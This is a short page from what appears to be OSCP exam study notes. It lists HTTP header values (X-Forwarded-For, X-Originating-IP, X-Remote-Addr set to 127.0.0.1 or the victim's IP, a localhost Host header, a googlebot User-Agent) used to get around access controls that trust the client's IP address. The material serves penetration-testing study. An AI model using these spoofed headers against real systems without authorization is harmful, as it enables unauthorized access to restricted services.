> For the complete documentation index, see [llms.txt](https://n000b3r.gitbook.io/oscp-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://n000b3r.gitbook.io/oscp-notes/exploitation/bypass-ip-restrictions.md).

# Bypass IP Restrictions

### Example

<figure><img src="/files/7Uz2mtzg4PfglhfHMSEn" alt=""><figcaption></figcaption></figure>

### Try the following headers

```bash
X-Forwarded-For: 127.0.0.1
X-Forwarded-For: <Victim's IP>
X-Forwarded-For: 0000::1
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
```

```bash
Host: localhost
User-Agent: googlebot
```
